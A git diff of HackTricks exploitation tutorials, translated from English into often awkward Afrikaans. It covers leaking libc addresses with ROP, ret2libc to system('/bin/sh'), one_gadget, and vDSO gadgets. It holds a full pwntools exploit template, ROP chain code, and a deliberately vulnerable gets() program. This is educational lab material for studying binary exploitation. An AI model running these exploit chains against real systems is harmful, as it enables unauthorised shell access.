main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP
# Lek die libc adres met ROP
{{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume
## Vinning Opsomming
1. **Find** overflow **offset**
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it**
1. **Vind** oorgang **offset**
2. **Vind** `POP_RDI` gadget, `PUTS_PLT` en `MAIN` gadgets
3. Gebruik vorige gadgets om die **geheue adres** van puts of 'n ander libc funksie te **lek** en **vind die libc weergawe** ([donwload it](https://libc.blukat.me))
4. Met die biblioteek, **bereken die ROP en benut dit**
## Other tutorials and binaries to practice
## Ander tutorials en binaries om te oefen
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
Hierdie tutorial gaan die kode/binary wat in hierdie tutorial voorgestel word, benut: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Ander nuttige tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code
Filename: `vuln.c`
## Kode
Lêernaam: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Leaking LIBC template
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
Laai die exploit af en plaas dit in dieselfde gids as die kwesbare binêre en gee die nodige data aan die skrip:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## 1- Finding the offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
## 1- Vind die offset
Die sjabloon benodig 'n offset voordat dit met die exploit voortgaan. As enige verskaf word, sal dit die nodige kode uitvoer om dit te vind (per standaard `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
**Voer** `python template.py` uit, 'n GDB-konsol sal geopen word met die program wat gecrash het. Binne daardie **GDB-konsol** voer `x/wx $rsp` uit om die **bytes** te kry wat die RIP gaan oorskryf. Laastens kry die **offset** met 'n **python**-konsol:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
Na die vind van die offset (in hierdie geval 40) verander die OFFSET veranderlike binne die sjabloon met daardie waarde.\
`OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
'n Ander manier sou wees om te gebruik: `pattern create 1000` -- _voer uit tot ret_ -- `pattern seach $rsp` van GEF.
## 2- Finding Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
## 2- Vind Gadgets
Nou moet ons ROP gadgets binne die binêre vind. Hierdie ROP gadgets sal nuttig wees om `puts` aan te roep om die **libc** wat gebruik word te vind, en later om die **finale exploit** te **lanseer**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
Die `PUTS_PLT` is nodig om die **funksie puts** aan te roep.\
Die `MAIN_PLT` is nodig om die **hoof funksie** weer aan te roep na een interaksie om die **overflow** **weer** te **ontgin** (oneindige rondtes van ontginning). **Dit word aan die einde van elke ROP gebruik om die program weer aan te roep**.\
Die **POP_RDI** is nodig om 'n **parameter** aan die aangeroepde funksie te **gee**.
The `PUTS_PLT` is needed to call the **function puts**.\
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
In hierdie stap hoef jy niks uit te voer nie, aangesien alles deur pwntools tydens die uitvoering gevind sal word.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
## 3- Vind libc biblioteek
Nou is dit tyd om te vind watter weergawe van die **libc** biblioteek gebruik word. Om dit te doen, gaan ons die **adres** in geheue van die **funksie** `puts` **lek** en dan gaan ons **soek** in watter **biblioteek weergawe** die puts weergawe in daardie adres is.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
To do so, the most important line of the executed code is:
Om dit te doen, is die belangrikste lyn van die uitgevoerde kode:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Dit sal 'n paar bytes stuur totdat **oorskrywing** van die **RIP** moontlik is: `OFFSET`.\
Dan sal dit die **adres** van die gadget `POP_RDI` stel sodat die volgende adres (`FUNC_GOT`) in die **RDI** register gestoor sal word. Dit is omdat ons **wil oproep puts** **terwyl** ons die **adres** van die `PUTS_GOT` as die adres in geheue van die puts-funksie gestoor is in die adres wat deur `PUTS_GOT` gewys word.\
Daarna sal `PUTS_PLT` aangeroep word (met `PUTS_GOT` binne die **RDI**) sodat puts die **inhoud** binne `PUTS_GOT` (**die adres van die puts-funksie in geheue**) sal **lees** en dit sal **uitdruk**.\
Laastens, **word die hoof funksie weer aangeroep** sodat ons die oorskrywing weer kan benut.
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
Op hierdie manier het ons die **puts-funksie bedrieg** om die **adres** in **geheue** van die funksie **puts** (wat binne die **libc** biblioteek is) te **druk**. Nou dat ons daardie adres het, kan ons **soek watter libc weergawe gebruik word**.
![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it:
Aangesien ons 'n paar **lokale** binêre **benut**, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\
Maar, in 'n afstandsbenutting geval sal ek hier verduidelik hoe jy dit kan vind:
### 3.1- Searching for libc version (1)
### 3.1- Soek na libc weergawe (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc**
Jy kan soek watter biblioteek op die webblad gebruik word: [https://libc.blukat.me/](https://libc.blukat.me)\
Dit sal jou ook toelaat om die ontdekte weergawe van **libc** af te laai.
![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2)
### 3.2- Soek na libc weergawe (2)
You can also do:
Jy kan ook doen:
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
This will take some time, be patient.\
For this to work we need:
Dit sal 'n rukkie neem, wees geduldig.\
Vir dit om te werk het ons nodig:
- Libc symbol name: `puts`
- Leaked libc adddress: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
- Libc simbool naam: `puts`
- Gelekte libc adres: `0x7ff629878690`
Ons kan uitvind watter **libc** waarskynlik gebruik word.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
Ons kry 2 ooreenkomste (jy moet die tweede een probeer as die eerste een nie werk nie). Laai die eerste een af:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Kopieer die libc van `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` na ons werksgids.
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
### 3.3- Other functions to leak
### 3.3- Ander funksies om te lek
```python
puts
printf
@ -198,28 +181,24 @@ __libc_start_main
read
gets
```
## 4- Vind gebaseerde libc adres & uitbuiting
## 4- Finding based libc address & exploiting
Op hierdie punt behoort ons die libc biblioteek te ken wat gebruik word. Aangesien ons 'n plaaslike binêre uitbuit, sal ek net gebruik: `/lib/x86_64-linux-gnu/libc.so.6`
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
So, aan die begin van `template.py` verander die **libc** veranderlike na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Stel biblioteek pad in wanneer dit bekend is`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
Deur die **pad** aan die **libc biblioteek** te gee, gaan die res van die **uitbuiting outomaties bereken word**.
Binne die `get_addr` funksie gaan die **basisadres van libc** bereken word:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
> Let daarop dat die **finale libc basisadres moet eindig op 00**. As dit nie jou geval is nie, mag jy 'n verkeerde biblioteek gelekt het.
Dan gaan die adres na die funksie `system` en die **adres** na die string _"/bin/sh"_ bereken word vanaf die **basisadres** van **libc** en gegee word aan die **libc biblioteek.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finally, the /bin/sh execution exploit is going to be prepared sent:
Uiteindelik gaan die /bin/sh uitvoeringsuitbuiting voorberei word en gestuur:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,65 +217,56 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Laat ons hierdie finale ROP verduidelik.\
Die laaste ROP (`rop1`) het weer die hooffunksie aangeroep, dan kan ons **weer** die **oortolligheid** benut (dit is hoekom die `OFFSET` hier weer is). Dan wil ons `POP_RDI` aanroep wat na die **adres** van _"/bin/sh"_ (`BINSH`) wys en die **system** funksie (`SYSTEM`) aanroep omdat die adres van _"/bin/sh"_ as 'n parameter oorgedra sal word.\
Laastens, die **adres van die uitgang funksie** word **aangeroep** sodat die proses **netjies bestaan** en enige waarskuwing gegenereer word.
Let's explain this final ROP.\
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
**So sal die exploit 'n \_/bin/sh**\_\*\* shell uitvoer.\*\*
![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET
## 4(2)- Gebruik ONE_GADGET
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
Jy kan ook [**ONE_GADGET** ](https://github.com/david942j/one_gadget) gebruik om 'n shell te verkry in plaas van om **system** en **"/bin/sh"** te gebruik. **ONE_GADGET** sal binne die libc biblioteek 'n manier vind om 'n shell te verkry met net een **ROP adres**.\
E however, normaalweg is daar 'n paar beperkings, die mees algemene en maklik om te vermy is soos `[rsp+0x30] == NULL` Aangesien jy die waardes binne die **RSP** beheer, hoef jy net 'n paar meer NULL waardes te stuur sodat die beperking vermy word.
![](<../../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
You can find a template to exploit this vulnerability here:
Jy kan 'n sjabloon vind om hierdie kwesbaarheid te benut hier:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## Common problems
## Algemene probleme
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can find where is the main code:
### MAIN_PLT = elf.symbols\['main'] nie gevind nie
As die "main" simbool nie bestaan nie. Dan kan jy vind waar die hoofkode is:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
en stel die adres handmatig:
```python
MAIN_PLT = 0x401080
```
### Puts nie gevind nie
### Puts not found
As die binêre nie Puts gebruik nie, moet jy kyk of dit gebruik
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
As jy hierdie **fout** vind na die skep van **alle** die exploit: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
Probeer om **64 bytes van die adres van "/bin/sh" af te trek**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,6 @@
# Leaking libc - template
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
## Algemene probleme
## Common problems
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
### MAIN_PLT = elf.symbols\['main'] nie gevind nie
As die "main" simbool nie bestaan nie (waarskynlik omdat dit 'n gestript binêre is). Dan kan jy net vind waar die hoofkode is:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
en stel die adres handmatig:
```python
MAIN_PLT = 0x401080
```
### Puts nie gevind nie
### Puts not found
As die binêre nie Puts gebruik nie, moet jy **kyk of dit gebruik**
If the binary is not using Puts you should **check if it is using**
### `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
As jy hierdie **fout** vind na die skep van **alle** die exploit: `sh: 1: %s%s%s%s%s%s%s%s: nie gevind nie`
Probeer om **64 bytes van die adres van "/bin/sh" af te trek**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
Daar mag **gadgets in die vDSO streek** wees, wat gebruik word om van gebruikersmodus na kernmodus te verander. In hierdie tipe uitdagings word gewoonlik 'n kernbeeld voorsien om die vDSO streek te dump.
Volg die voorbeeld van [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) dit is moontlik om te sien hoe dit moontlik was om die vdso afdeling te dump en dit na die gasheer te beweeg met:
```bash
# Find addresses
cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
ROP gadgets found:
ROP gadgets gevind:
```python
vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
